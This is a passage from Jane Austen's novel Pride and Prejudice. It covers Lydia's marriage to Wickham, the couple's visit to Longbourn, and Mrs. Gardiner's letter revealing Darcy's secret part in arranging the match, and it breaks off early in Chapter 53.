Stay, stay, I will go myself. Ring the bell, +Kitty, for Hill. I will put on my things in a moment. My dear, dear +Lydia! How merry we shall be together when we meet!" + +Her eldest daughter endeavoured to give some relief to the violence of +these transports, by leading her thoughts to the obligations which Mr. +Gardiner's behaviour laid them all under. + +"For we must attribute this happy conclusion," she added, "in a great +measure to his kindness. We are persuaded that he has pledged himself to +assist Mr. Wickham with money." + +"Well," cried her mother, "it is all very right; who should do it but +her own uncle? If he had not had a family of his own, I and my children +must have had all his money, you know; and it is the first time we have +ever had anything from him, except a few presents. Well! I am so happy! +In a short time I shall have a daughter married. Mrs. Wickham! How well +it sounds! And she was only sixteen last June. My dear Jane, I am in +such a flutter, that I am sure I can't write; so I will dictate, and +you write for me. We will settle with your father about the money +afterwards; but the things should be ordered immediately." + +She was then proceeding to all the particulars of calico, muslin, and +cambric, and would shortly have dictated some very plentiful orders, had +not Jane, though with some difficulty, persuaded her to wait till her +father was at leisure to be consulted. One day's delay, she observed, +would be of small importance; and her mother was too happy to be quite +so obstinate as usual. Other schemes, too, came into her head. + +"I will go to Meryton," said she, "as soon as I am dressed, and tell the +good, good news to my sister Philips. And as I come back, I can call +on Lady Lucas and Mrs. Long. Kitty, run down and order the carriage. +An airing would do me a great deal of good, I am sure. Girls, can I do +anything for you in Meryton? Oh! Here comes Hill! My dear Hill, have you +heard the good news? Miss Lydia is going to be married; and you shall +all have a bowl of punch to make merry at her wedding." + +Mrs. Hill began instantly to express her joy. Elizabeth received her +congratulations amongst the rest, and then, sick of this folly, took +refuge in her own room, that she might think with freedom. + +Poor Lydia's situation must, at best, be bad enough; but that it was +no worse, she had need to be thankful. She felt it so; and though, in +looking forward, neither rational happiness nor worldly prosperity could +be justly expected for her sister, in looking back to what they had +feared, only two hours ago, she felt all the advantages of what they had +gained. + + + +Chapter 50 + + +Mr. Bennet had very often wished before this period of his life that, +instead of spending his whole income, he had laid by an annual sum for +the better provision of his children, and of his wife, if she survived +him. He now wished it more than ever. Had he done his duty in that +respect, Lydia need not have been indebted to her uncle for whatever +of honour or credit could now be purchased for her. The satisfaction of +prevailing on one of the most worthless young men in Great Britain to be +her husband might then have rested in its proper place. + +He was seriously concerned that a cause of so little advantage to anyone +should be forwarded at the sole expense of his brother-in-law, and he +was determined, if possible, to find out the extent of his assistance, +and to discharge the obligation as soon as he could. + +When first Mr. Bennet had married, economy was held to be perfectly +useless, for, of course, they were to have a son. The son was to join +in cutting off the entail, as soon as he should be of age, and the widow +and younger children would by that means be provided for. Five daughters +successively entered the world, but yet the son was to come; and Mrs. +Bennet, for many years after Lydia's birth, had been certain that he +would. This event had at last been despaired of, but it was then +too late to be saving. Mrs. Bennet had no turn for economy, and her +husband's love of independence had alone prevented their exceeding their +income. + +Five thousand pounds was settled by marriage articles on Mrs. Bennet and +the children. But in what proportions it should be divided amongst the +latter depended on the will of the parents. This was one point, with +regard to Lydia, at least, which was now to be settled, and Mr. Bennet +could have no hesitation in acceding to the proposal before him. In +terms of grateful acknowledgment for the kindness of his brother, +though expressed most concisely, he then delivered on paper his perfect +approbation of all that was done, and his willingness to fulfil the +engagements that had been made for him. He had never before supposed +that, could Wickham be prevailed on to marry his daughter, it would +be done with so little inconvenience to himself as by the present +arrangement. He would scarcely be ten pounds a year the loser by the +hundred that was to be paid them; for, what with her board and pocket +allowance, and the continual presents in money which passed to her +through her mother's hands, Lydia's expenses had been very little within +that sum. + +That it would be done with such trifling exertion on his side, too, was +another very welcome surprise; for his wish at present was to have as +little trouble in the business as possible. When the first transports +of rage which had produced his activity in seeking her were over, he +naturally returned to all his former indolence. His letter was soon +dispatched; for, though dilatory in undertaking business, he was quick +in its execution. He begged to know further particulars of what he +was indebted to his brother, but was too angry with Lydia to send any +message to her. + +The good news spread quickly through the house, and with proportionate +speed through the neighbourhood. It was borne in the latter with decent +philosophy. To be sure, it would have been more for the advantage +of conversation had Miss Lydia Bennet come upon the town; or, as the +happiest alternative, been secluded from the world, in some distant +farmhouse. But there was much to be talked of in marrying her; and the +good-natured wishes for her well-doing which had proceeded before from +all the spiteful old ladies in Meryton lost but a little of their spirit +in this change of circumstances, because with such an husband her misery +was considered certain. + +It was a fortnight since Mrs. Bennet had been downstairs; but on this +happy day she again took her seat at the head of her table, and in +spirits oppressively high. No sentiment of shame gave a damp to her +triumph. The marriage of a daughter, which had been the first object +of her wishes since Jane was sixteen, was now on the point of +accomplishment, and her thoughts and her words ran wholly on those +attendants of elegant nuptials, fine muslins, new carriages, and +servants. She was busily searching through the neighbourhood for a +proper situation for her daughter, and, without knowing or considering +what their income might be, rejected many as deficient in size and +importance. + +"Haye Park might do," said she, "if the Gouldings could quit it--or the +great house at Stoke, if the drawing-room were larger; but Ashworth is +too far off! I could not bear to have her ten miles from me; and as for +Pulvis Lodge, the attics are dreadful." + +Her husband allowed her to talk on without interruption while the +servants remained. But when they had withdrawn, he said to her: "Mrs. +Bennet, before you take any or all of these houses for your son and +daughter, let us come to a right understanding. Into _one_ house in this +neighbourhood they shall never have admittance. I will not encourage the +impudence of either, by receiving them at Longbourn." + +A long dispute followed this declaration; but Mr. Bennet was firm. It +soon led to another; and Mrs. Bennet found, with amazement and horror, +that her husband would not advance a guinea to buy clothes for his +daughter. He protested that she should receive from him no mark of +affection whatever on the occasion. Mrs. Bennet could hardly comprehend +it. That his anger could be carried to such a point of inconceivable +resentment as to refuse his daughter a privilege without which her +marriage would scarcely seem valid, exceeded all she could believe +possible. She was more alive to the disgrace which her want of new +clothes must reflect on her daughter's nuptials, than to any sense of +shame at her eloping and living with Wickham a fortnight before they +took place. + +Elizabeth was now most heartily sorry that she had, from the distress of +the moment, been led to make Mr. Darcy acquainted with their fears for +her sister; for since her marriage would so shortly give the +proper termination to the elopement, they might hope to conceal its +unfavourable beginning from all those who were not immediately on the +spot. + +She had no fear of its spreading farther through his means. There were +few people on whose secrecy she would have more confidently depended; +but, at the same time, there was no one whose knowledge of a sister's +frailty would have mortified her so much--not, however, from any fear +of disadvantage from it individually to herself, for, at any rate, +there seemed a gulf impassable between them. Had Lydia's marriage been +concluded on the most honourable terms, it was not to be supposed that +Mr. Darcy would connect himself with a family where, to every other +objection, would now be added an alliance and relationship of the +nearest kind with a man whom he so justly scorned. + +From such a connection she could not wonder that he would shrink. The +wish of procuring her regard, which she had assured herself of his +feeling in Derbyshire, could not in rational expectation survive such a +blow as this. She was humbled, she was grieved; she repented, though she +hardly knew of what. She became jealous of his esteem, when she could no +longer hope to be benefited by it. She wanted to hear of him, when there +seemed the least chance of gaining intelligence. She was convinced that +she could have been happy with him, when it was no longer likely they +should meet. + +What a triumph for him, as she often thought, could he know that the +proposals which she had proudly spurned only four months ago, would now +have been most gladly and gratefully received! He was as generous, she +doubted not, as the most generous of his sex; but while he was mortal, +there must be a triumph. + +She began now to comprehend that he was exactly the man who, in +disposition and talents, would most suit her. His understanding and +temper, though unlike her own, would have answered all her wishes. It +was an union that must have been to the advantage of both; by her ease +and liveliness, his mind might have been softened, his manners improved; +and from his judgement, information, and knowledge of the world, she +must have received benefit of greater importance. + +But no such happy marriage could now teach the admiring multitude what +connubial felicity really was. An union of a different tendency, and +precluding the possibility of the other, was soon to be formed in their +family. + +How Wickham and Lydia were to be supported in tolerable independence, +she could not imagine. But how little of permanent happiness could +belong to a couple who were only brought together because their passions +were stronger than their virtue, she could easily conjecture. + + * * * * * + +Mr. Gardiner soon wrote again to his brother. To Mr. Bennet's +acknowledgments he briefly replied, with assurance of his eagerness to +promote the welfare of any of his family; and concluded with entreaties +that the subject might never be mentioned to him again. The principal +purport of his letter was to inform them that Mr. Wickham had resolved +on quitting the militia. + +"It was greatly my wish that he should do so," he added, "as soon as +his marriage was fixed on. And I think you will agree with me, in +considering the removal from that corps as highly advisable, both on +his account and my niece's. It is Mr. Wickham's intention to go into +the regulars; and among his former friends, there are still some who +are able and willing to assist him in the army. He has the promise of an +ensigncy in General ----'s regiment, now quartered in the North. It +is an advantage to have it so far from this part of the kingdom. He +promises fairly; and I hope among different people, where they may each +have a character to preserve, they will both be more prudent. I have +written to Colonel Forster, to inform him of our present arrangements, +and to request that he will satisfy the various creditors of Mr. Wickham +in and near Brighton, with assurances of speedy payment, for which I +have pledged myself. And will you give yourself the trouble of carrying +similar assurances to his creditors in Meryton, of whom I shall subjoin +a list according to his information? He has given in all his debts; I +hope at least he has not deceived us. Haggerston has our directions, +and all will be completed in a week. They will then join his regiment, +unless they are first invited to Longbourn; and I understand from Mrs. +Gardiner, that my niece is very desirous of seeing you all before she +leaves the South. She is well, and begs to be dutifully remembered to +you and her mother.--Yours, etc., + +"E. GARDINER." + +Mr. Bennet and his daughters saw all the advantages of Wickham's removal +from the ----shire as clearly as Mr. Gardiner could do. But Mrs. Bennet +was not so well pleased with it. Lydia's being settled in the North, +just when she had expected most pleasure and pride in her company, +for she had by no means given up her plan of their residing in +Hertfordshire, was a severe disappointment; and, besides, it was such a +pity that Lydia should be taken from a regiment where she was acquainted +with everybody, and had so many favourites. + +"She is so fond of Mrs. Forster," said she, "it will be quite shocking +to send her away! And there are several of the young men, too, that she +likes very much. The officers may not be so pleasant in General ----'s +regiment." + +His daughter's request, for such it might be considered, of being +admitted into her family again before she set off for the North, +received at first an absolute negative. But Jane and Elizabeth, +who agreed in wishing, for the sake of their sister's feelings and +consequence, that she should be noticed on her marriage by her parents, +urged him so earnestly yet so rationally and so mildly, to receive her +and her husband at Longbourn, as soon as they were married, that he was +prevailed on to think as they thought, and act as they wished. And their +mother had the satisfaction of knowing that she would be able to show +her married daughter in the neighbourhood before she was banished to the +North. When Mr. Bennet wrote again to his brother, therefore, he sent +his permission for them to come; and it was settled, that as soon as +the ceremony was over, they should proceed to Longbourn. Elizabeth was +surprised, however, that Wickham should consent to such a scheme, and +had she consulted only her own inclination, any meeting with him would +have been the last object of her wishes. + + + +Chapter 51 + + +Their sister's wedding day arrived; and Jane and Elizabeth felt for her +probably more than she felt for herself. The carriage was sent to +meet them at ----, and they were to return in it by dinner-time. Their +arrival was dreaded by the elder Miss Bennets, and Jane more especially, +who gave Lydia the feelings which would have attended herself, had she +been the culprit, and was wretched in the thought of what her sister +must endure. + +They came. The family were assembled in the breakfast room to receive +them. Smiles decked the face of Mrs. Bennet as the carriage drove up to +the door; her husband looked impenetrably grave; her daughters, alarmed, +anxious, uneasy. + +Lydia's voice was heard in the vestibule; the door was thrown open, and +she ran into the room. Her mother stepped forwards, embraced her, and +welcomed her with rapture; gave her hand, with an affectionate smile, +to Wickham, who followed his lady; and wished them both joy with an +alacrity which shewed no doubt of their happiness. + +Their reception from Mr. Bennet, to whom they then turned, was not quite +so cordial. His countenance rather gained in austerity; and he scarcely +opened his lips. The easy assurance of the young couple, indeed, was +enough to provoke him. Elizabeth was disgusted, and even Miss Bennet +was shocked. Lydia was Lydia still; untamed, unabashed, wild, noisy, +and fearless. She turned from sister to sister, demanding their +congratulations; and when at length they all sat down, looked eagerly +round the room, took notice of some little alteration in it, and +observed, with a laugh, that it was a great while since she had been +there. + +Wickham was not at all more distressed than herself, but his manners +were always so pleasing, that had his character and his marriage been +exactly what they ought, his smiles and his easy address, while he +claimed their relationship, would have delighted them all. Elizabeth had +not before believed him quite equal to such assurance; but she sat down, +resolving within herself to draw no limits in future to the impudence +of an impudent man. She blushed, and Jane blushed; but the cheeks of the +two who caused their confusion suffered no variation of colour. + +There was no want of discourse. The bride and her mother could neither +of them talk fast enough; and Wickham, who happened to sit near +Elizabeth, began inquiring after his acquaintance in that neighbourhood, +with a good humoured ease which she felt very unable to equal in her +replies. They seemed each of them to have the happiest memories in the +world. Nothing of the past was recollected with pain; and Lydia led +voluntarily to subjects which her sisters would not have alluded to for +the world. + +"Only think of its being three months," she cried, "since I went away; +it seems but a fortnight I declare; and yet there have been things +enough happened in the time. Good gracious! when I went away, I am sure +I had no more idea of being married till I came back again! though I +thought it would be very good fun if I was." + +Her father lifted up his eyes. Jane was distressed. Elizabeth looked +expressively at Lydia; but she, who never heard nor saw anything of +which she chose to be insensible, gaily continued, "Oh! mamma, do the +people hereabouts know I am married to-day? I was afraid they might not; +and we overtook William Goulding in his curricle, so I was determined he +should know it, and so I let down the side-glass next to him, and took +off my glove, and let my hand just rest upon the window frame, so that +he might see the ring, and then I bowed and smiled like anything." + +Elizabeth could bear it no longer. She got up, and ran out of the room; +and returned no more, till she heard them passing through the hall to +the dining parlour. She then joined them soon enough to see Lydia, with +anxious parade, walk up to her mother's right hand, and hear her say +to her eldest sister, "Ah! Jane, I take your place now, and you must go +lower, because I am a married woman." + +It was not to be supposed that time would give Lydia that embarrassment +from which she had been so wholly free at first. Her ease and good +spirits increased. She longed to see Mrs. Phillips, the Lucases, and +all their other neighbours, and to hear herself called "Mrs. Wickham" +by each of them; and in the mean time, she went after dinner to show her +ring, and boast of being married, to Mrs. Hill and the two housemaids. + +"Well, mamma," said she, when they were all returned to the breakfast +room, "and what do you think of my husband? Is not he a charming man? I +am sure my sisters must all envy me. I only hope they may have half +my good luck. They must all go to Brighton. That is the place to get +husbands. What a pity it is, mamma, we did not all go." + +"Very true; and if I had my will, we should. But my dear Lydia, I don't +at all like your going such a way off. Must it be so?" + +"Oh, lord! yes;--there is nothing in that. I shall like it of all +things. You and papa, and my sisters, must come down and see us. We +shall be at Newcastle all the winter, and I dare say there will be some +balls, and I will take care to get good partners for them all." + +"I should like it beyond anything!" said her mother. + +"And then when you go away, you may leave one or two of my sisters +behind you; and I dare say I shall get husbands for them before the +winter is over." + +"I thank you for my share of the favour," said Elizabeth; "but I do not +particularly like your way of getting husbands." + +Their visitors were not to remain above ten days with them. Mr. Wickham +had received his commission before he left London, and he was to join +his regiment at the end of a fortnight. + +No one but Mrs. Bennet regretted that their stay would be so short; and +she made the most of the time by visiting about with her daughter, and +having very frequent parties at home. These parties were acceptable to +all; to avoid a family circle was even more desirable to such as did +think, than such as did not. + +Wickham's affection for Lydia was just what Elizabeth had expected +to find it; not equal to Lydia's for him. She had scarcely needed her +present observation to be satisfied, from the reason of things, that +their elopement had been brought on by the strength of her love, rather +than by his; and she would have wondered why, without violently caring +for her, he chose to elope with her at all, had she not felt certain +that his flight was rendered necessary by distress of circumstances; and +if that were the case, he was not the young man to resist an opportunity +of having a companion. + +Lydia was exceedingly fond of him. He was her dear Wickham on every +occasion; no one was to be put in competition with him. He did every +thing best in the world; and she was sure he would kill more birds on +the first of September, than any body else in the country. + +One morning, soon after their arrival, as she was sitting with her two +elder sisters, she said to Elizabeth: + +"Lizzy, I never gave _you_ an account of my wedding, I believe. You +were not by, when I told mamma and the others all about it. Are not you +curious to hear how it was managed?" + +"No really," replied Elizabeth; "I think there cannot be too little said +on the subject." + +"La! You are so strange! But I must tell you how it went off. We were +married, you know, at St. Clement's, because Wickham's lodgings were in +that parish. And it was settled that we should all be there by eleven +o'clock. My uncle and aunt and I were to go together; and the others +were to meet us at the church. Well, Monday morning came, and I was in +such a fuss! I was so afraid, you know, that something would happen to +put it off, and then I should have gone quite distracted. And there was +my aunt, all the time I was dressing, preaching and talking away just as +if she was reading a sermon. However, I did not hear above one word in +ten, for I was thinking, you may suppose, of my dear Wickham. I longed +to know whether he would be married in his blue coat." + +"Well, and so we breakfasted at ten as usual; I thought it would never +be over; for, by the bye, you are to understand, that my uncle and aunt +were horrid unpleasant all the time I was with them. If you'll believe +me, I did not once put my foot out of doors, though I was there a +fortnight. Not one party, or scheme, or anything. To be sure London was +rather thin, but, however, the Little Theatre was open. Well, and so +just as the carriage came to the door, my uncle was called away upon +business to that horrid man Mr. Stone. And then, you know, when once +they get together, there is no end of it. Well, I was so frightened I +did not know what to do, for my uncle was to give me away; and if we +were beyond the hour, we could not be married all day. But, luckily, he +came back again in ten minutes' time, and then we all set out. However, +I recollected afterwards that if he had been prevented going, the +wedding need not be put off, for Mr. Darcy might have done as well." + +"Mr. Darcy!" repeated Elizabeth, in utter amazement. + +"Oh, yes!--he was to come there with Wickham, you know. But gracious +me! I quite forgot! I ought not to have said a word about it. I promised +them so faithfully! What will Wickham say? It was to be such a secret!" + +"If it was to be secret," said Jane, "say not another word on the +subject. You may depend upon my seeking no further." + +"Oh! certainly," said Elizabeth, though burning with curiosity; "we will +ask you no questions." + +"Thank you," said Lydia, "for if you did, I should certainly tell you +all, and then Wickham would be angry." + +On such encouragement to ask, Elizabeth was forced to put it out of her +power, by running away. + +But to live in ignorance on such a point was impossible; or at least +it was impossible not to try for information. Mr. Darcy had been at +her sister's wedding. It was exactly a scene, and exactly among people, +where he had apparently least to do, and least temptation to go. +Conjectures as to the meaning of it, rapid and wild, hurried into her +brain; but she was satisfied with none. Those that best pleased her, as +placing his conduct in the noblest light, seemed most improbable. She +could not bear such suspense; and hastily seizing a sheet of paper, +wrote a short letter to her aunt, to request an explanation of what +Lydia had dropt, if it were compatible with the secrecy which had been +intended. + +"You may readily comprehend," she added, "what my curiosity must be +to know how a person unconnected with any of us, and (comparatively +speaking) a stranger to our family, should have been amongst you at such +a time. Pray write instantly, and let me understand it--unless it is, +for very cogent reasons, to remain in the secrecy which Lydia seems +to think necessary; and then I must endeavour to be satisfied with +ignorance." + +"Not that I _shall_, though," she added to herself, as she finished +the letter; "and my dear aunt, if you do not tell me in an honourable +manner, I shall certainly be reduced to tricks and stratagems to find it +out." + +Jane's delicate sense of honour would not allow her to speak to +Elizabeth privately of what Lydia had let fall; Elizabeth was glad +of it;--till it appeared whether her inquiries would receive any +satisfaction, she had rather be without a confidante. + + + +Chapter 52 + + +Elizabeth had the satisfaction of receiving an answer to her letter as +soon as she possibly could. She was no sooner in possession of it +than, hurrying into the little copse, where she was least likely to +be interrupted, she sat down on one of the benches and prepared to +be happy; for the length of the letter convinced her that it did not +contain a denial. + +"Gracechurch street, Sept. 6. + +"MY DEAR NIECE, + +"I have just received your letter, and shall devote this whole morning +to answering it, as I foresee that a _little_ writing will not comprise +what I have to tell you. I must confess myself surprised by your +application; I did not expect it from _you_. Don't think me angry, +however, for I only mean to let you know that I had not imagined such +inquiries to be necessary on _your_ side. If you do not choose to +understand me, forgive my impertinence. Your uncle is as much surprised +as I am--and nothing but the belief of your being a party concerned +would have allowed him to act as he has done. But if you are really +innocent and ignorant, I must be more explicit. + +"On the very day of my coming home from Longbourn, your uncle had a most +unexpected visitor. Mr. Darcy called, and was shut up with him several +hours. It was all over before I arrived; so my curiosity was not so +dreadfully racked as _yours_ seems to have been. He came to tell Mr. +Gardiner that he had found out where your sister and Mr. Wickham were, +and that he had seen and talked with them both; Wickham repeatedly, +Lydia once. From what I can collect, he left Derbyshire only one day +after ourselves, and came to town with the resolution of hunting for +them. The motive professed was his conviction of its being owing to +himself that Wickham's worthlessness had not been so well known as to +make it impossible for any young woman of character to love or confide +in him. He generously imputed the whole to his mistaken pride, and +confessed that he had before thought it beneath him to lay his private +actions open to the world. His character was to speak for itself. He +called it, therefore, his duty to step forward, and endeavour to remedy +an evil which had been brought on by himself. If he _had another_ +motive, I am sure it would never disgrace him. He had been some days +in town, before he was able to discover them; but he had something to +direct his search, which was more than _we_ had; and the consciousness +of this was another reason for his resolving to follow us. + +"There is a lady, it seems, a Mrs. Younge, who was some time ago +governess to Miss Darcy, and was dismissed from her charge on some cause +of disapprobation, though he did not say what. She then took a large +house in Edward-street, and has since maintained herself by letting +lodgings. This Mrs. Younge was, he knew, intimately acquainted with +Wickham; and he went to her for intelligence of him as soon as he got to +town. But it was two or three days before he could get from her what he +wanted. She would not betray her trust, I suppose, without bribery and +corruption, for she really did know where her friend was to be found. +Wickham indeed had gone to her on their first arrival in London, and had +she been able to receive them into her house, they would have taken up +their abode with her. At length, however, our kind friend procured the +wished-for direction. They were in ---- street. He saw Wickham, and +afterwards insisted on seeing Lydia. His first object with her, he +acknowledged, had been to persuade her to quit her present disgraceful +situation, and return to her friends as soon as they could be prevailed +on to receive her, offering his assistance, as far as it would go. But +he found Lydia absolutely resolved on remaining where she was. She cared +for none of her friends; she wanted no help of his; she would not hear +of leaving Wickham. She was sure they should be married some time or +other, and it did not much signify when. Since such were her feelings, +it only remained, he thought, to secure and expedite a marriage, which, +in his very first conversation with Wickham, he easily learnt had never +been _his_ design. He confessed himself obliged to leave the regiment, +on account of some debts of honour, which were very pressing; and +scrupled not to lay all the ill-consequences of Lydia's flight on her +own folly alone. He meant to resign his commission immediately; and as +to his future situation, he could conjecture very little about it. He +must go somewhere, but he did not know where, and he knew he should have +nothing to live on. + +"Mr. Darcy asked him why he had not married your sister at once. Though +Mr. Bennet was not imagined to be very rich, he would have been able +to do something for him, and his situation must have been benefited by +marriage. But he found, in reply to this question, that Wickham still +cherished the hope of more effectually making his fortune by marriage in +some other country. Under such circumstances, however, he was not likely +to be proof against the temptation of immediate relief. + +"They met several times, for there was much to be discussed. Wickham of +course wanted more than he could get; but at length was reduced to be +reasonable. + +"Every thing being settled between _them_, Mr. Darcy's next step was to +make your uncle acquainted with it, and he first called in Gracechurch +street the evening before I came home. But Mr. Gardiner could not be +seen, and Mr. Darcy found, on further inquiry, that your father was +still with him, but would quit town the next morning. He did not judge +your father to be a person whom he could so properly consult as your +uncle, and therefore readily postponed seeing him till after the +departure of the former. He did not leave his name, and till the next +day it was only known that a gentleman had called on business. + +"On Saturday he came again. Your father was gone, your uncle at home, +and, as I said before, they had a great deal of talk together. + +"They met again on Sunday, and then _I_ saw him too. It was not all +settled before Monday: as soon as it was, the express was sent off to +Longbourn. But our visitor was very obstinate. I fancy, Lizzy, that +obstinacy is the real defect of his character, after all. He has been +accused of many faults at different times, but _this_ is the true one. +Nothing was to be done that he did not do himself; though I am sure (and +I do not speak it to be thanked, therefore say nothing about it), your +uncle would most readily have settled the whole. + +"They battled it together for a long time, which was more than either +the gentleman or lady concerned in it deserved. But at last your uncle +was forced to yield, and instead of being allowed to be of use to his +niece, was forced to put up with only having the probable credit of it, +which went sorely against the grain; and I really believe your letter +this morning gave him great pleasure, because it required an explanation +that would rob him of his borrowed feathers, and give the praise where +it was due. But, Lizzy, this must go no farther than yourself, or Jane +at most. + +"You know pretty well, I suppose, what has been done for the young +people. His debts are to be paid, amounting, I believe, to considerably +more than a thousand pounds, another thousand in addition to her own +settled upon _her_, and his commission purchased. The reason why all +this was to be done by him alone, was such as I have given above. It +was owing to him, to his reserve and want of proper consideration, that +Wickham's character had been so misunderstood, and consequently that he +had been received and noticed as he was. Perhaps there was some truth +in _this_; though I doubt whether _his_ reserve, or _anybody's_ reserve, +can be answerable for the event. But in spite of all this fine talking, +my dear Lizzy, you may rest perfectly assured that your uncle would +never have yielded, if we had not given him credit for _another +interest_ in the affair. + +"When all this was resolved on, he returned again to his friends, who +were still staying at Pemberley; but it was agreed that he should be in +London once more when the wedding took place, and all money matters were +then to receive the last finish. + +"I believe I have now told you every thing. It is a relation which +you tell me is to give you great surprise; I hope at least it will not +afford you any displeasure. Lydia came to us; and Wickham had constant +admission to the house. _He_ was exactly what he had been, when I +knew him in Hertfordshire; but I would not tell you how little I was +satisfied with her behaviour while she staid with us, if I had not +perceived, by Jane's letter last Wednesday, that her conduct on coming +home was exactly of a piece with it, and therefore what I now tell +you can give you no fresh pain. I talked to her repeatedly in the most +serious manner, representing to her all the wickedness of what she had +done, and all the unhappiness she had brought on her family. If she +heard me, it was by good luck, for I am sure she did not listen. I was +sometimes quite provoked, but then I recollected my dear Elizabeth and +Jane, and for their sakes had patience with her. + +"Mr. Darcy was punctual in his return, and as Lydia informed you, +attended the wedding. He dined with us the next day, and was to leave +town again on Wednesday or Thursday. Will you be very angry with me, my +dear Lizzy, if I take this opportunity of saying (what I was never bold +enough to say before) how much I like him. His behaviour to us has, +in every respect, been as pleasing as when we were in Derbyshire. His +understanding and opinions all please me; he wants nothing but a little +more liveliness, and _that_, if he marry _prudently_, his wife may teach +him. I thought him very sly;--he hardly ever mentioned your name. But +slyness seems the fashion. + +"Pray forgive me if I have been very presuming, or at least do not +punish me so far as to exclude me from P. I shall never be quite happy +till I have been all round the park. A low phaeton, with a nice little +pair of ponies, would be the very thing. + +"But I must write no more. The children have been wanting me this half +hour. + +"Yours, very sincerely, + +"M. GARDINER." + +The contents of this letter threw Elizabeth into a flutter of spirits, +in which it was difficult to determine whether pleasure or pain bore the +greatest share. The vague and unsettled suspicions which uncertainty had +produced of what Mr. Darcy might have been doing to forward her sister's +match, which she had feared to encourage as an exertion of goodness too +great to be probable, and at the same time dreaded to be just, from the +pain of obligation, were proved beyond their greatest extent to be true! +He had followed them purposely to town, he had taken on himself all +the trouble and mortification attendant on such a research; in which +supplication had been necessary to a woman whom he must abominate and +despise, and where he was reduced to meet, frequently meet, reason +with, persuade, and finally bribe, the man whom he always most wished to +avoid, and whose very name it was punishment to him to pronounce. He had +done all this for a girl whom he could neither regard nor esteem. Her +heart did whisper that he had done it for her. But it was a hope shortly +checked by other considerations, and she soon felt that even her vanity +was insufficient, when required to depend on his affection for her--for +a woman who had already refused him--as able to overcome a sentiment so +natural as abhorrence against relationship with Wickham. Brother-in-law +of Wickham! Every kind of pride must revolt from the connection. He had, +to be sure, done much. She was ashamed to think how much. But he had +given a reason for his interference, which asked no extraordinary +stretch of belief. It was reasonable that he should feel he had been +wrong; he had liberality, and he had the means of exercising it; and +though she would not place herself as his principal inducement, she +could, perhaps, believe that remaining partiality for her might assist +his endeavours in a cause where her peace of mind must be materially +concerned. It was painful, exceedingly painful, to know that they were +under obligations to a person who could never receive a return. They +owed the restoration of Lydia, her character, every thing, to him. Oh! +how heartily did she grieve over every ungracious sensation she had ever +encouraged, every saucy speech she had ever directed towards him. For +herself she was humbled; but she was proud of him. Proud that in a cause +of compassion and honour, he had been able to get the better of himself. +She read over her aunt's commendation of him again and again. It +was hardly enough; but it pleased her. She was even sensible of some +pleasure, though mixed with regret, on finding how steadfastly both she +and her uncle had been persuaded that affection and confidence subsisted +between Mr. Darcy and herself. + +She was roused from her seat, and her reflections, by some one's +approach; and before she could strike into another path, she was +overtaken by Wickham. + +"I am afraid I interrupt your solitary ramble, my dear sister?" said he, +as he joined her. + +"You certainly do," she replied with a smile; "but it does not follow +that the interruption must be unwelcome." + +"I should be sorry indeed, if it were. We were always good friends; and +now we are better." + +"True. Are the others coming out?" + +"I do not know. Mrs. Bennet and Lydia are going in the carriage to +Meryton. And so, my dear sister, I find, from our uncle and aunt, that +you have actually seen Pemberley." + +She replied in the affirmative. + +"I almost envy you the pleasure, and yet I believe it would be too much +for me, or else I could take it in my way to Newcastle. And you saw the +old housekeeper, I suppose? Poor Reynolds, she was always very fond of +me. But of course she did not mention my name to you." + +"Yes, she did." + +"And what did she say?" + +"That you were gone into the army, and she was afraid had--not turned +out well. At such a distance as _that_, you know, things are strangely +misrepresented." + +"Certainly," he replied, biting his lips. Elizabeth hoped she had +silenced him; but he soon afterwards said: + +"I was surprised to see Darcy in town last month. We passed each other +several times. I wonder what he can be doing there." + +"Perhaps preparing for his marriage with Miss de Bourgh," said +Elizabeth. "It must be something particular, to take him there at this +time of year." + +"Undoubtedly. Did you see him while you were at Lambton? I thought I +understood from the Gardiners that you had." + +"Yes; he introduced us to his sister." + +"And do you like her?" + +"Very much." + +"I have heard, indeed, that she is uncommonly improved within this year +or two. When I last saw her, she was not very promising. I am very glad +you liked her. I hope she will turn out well." + +"I dare say she will; she has got over the most trying age." + +"Did you go by the village of Kympton?" + +"I do not recollect that we did." + +"I mention it, because it is the living which I ought to have had. A +most delightful place!--Excellent Parsonage House! It would have suited +me in every respect." + +"How should you have liked making sermons?" + +"Exceedingly well. I should have considered it as part of my duty, +and the exertion would soon have been nothing. One ought not to +repine;--but, to be sure, it would have been such a thing for me! The +quiet, the retirement of such a life would have answered all my ideas +of happiness! But it was not to be. Did you ever hear Darcy mention the +circumstance, when you were in Kent?" + +"I have heard from authority, which I thought _as good_, that it was +left you conditionally only, and at the will of the present patron." + +"You have. Yes, there was something in _that_; I told you so from the +first, you may remember." + +"I _did_ hear, too, that there was a time, when sermon-making was not +so palatable to you as it seems to be at present; that you actually +declared your resolution of never taking orders, and that the business +had been compromised accordingly." + +"You did! and it was not wholly without foundation. You may remember +what I told you on that point, when first we talked of it." + +They were now almost at the door of the house, for she had walked fast +to get rid of him; and unwilling, for her sister's sake, to provoke him, +she only said in reply, with a good-humoured smile: + +"Come, Mr. Wickham, we are brother and sister, you know. Do not let +us quarrel about the past. In future, I hope we shall be always of one +mind." + +She held out her hand; he kissed it with affectionate gallantry, though +he hardly knew how to look, and they entered the house. + + + +Chapter 53 + + +Mr. Wickham was so perfectly satisfied with this conversation that he +never again distressed himself, or provoked his dear sister Elizabeth, +by introducing the subject of it; and she was pleased to find that she +had said enough to keep him quiet. + +The day of his and Lydia's departure soon came, and Mrs. Bennet was +forced to submit to a separation, which, as her husband by no means +entered into her scheme of their all going to Newcastle, was likely to +continue at least a twelvemonth. + +"Oh! my dear Lydia," she cried, "when shall we meet again?" + +"Oh, lord! I don't know. Not these two or three years, perhaps." + +"Write to me very often, my dear." + +"As often as I can. But you know married women have never much time for +writing. My sisters may write to _me_. They will have nothing else to +do." + +Mr. Wickham's adieus were much more affectionate than his wife's. He +smiled, looked handsome, and said many pretty things. + +"He is as fine a fellow," said Mr. Bennet, as soon as they were out of +the house, "as ever I saw. He simpers, and smirks, and makes love to +us all. I am prodigiously proud of him. I defy even Sir William Lucas +himself to produce a more valuable son-in-law." + +The loss of her daughter made Mrs. Bennet very dull for several days. + +"I often think," said she, "that there is nothing so bad as parting with +one's friends. One seems so forlorn without them." + +"This is the consequence, you see, Madam, of marrying a daughter," said +Elizabeth. "It must make you better satisfied that your other four are +single." + +"It is no such thing. Lydia does not leave me because she is married, +but only because her husband's regiment happens to be so far off. If +that had been nearer, she would not have gone so soon." + +But the spiritless condition which this event threw her into was shortly +relieved, and her mind opened again to the agitation of hope, by an +article of news which then began to 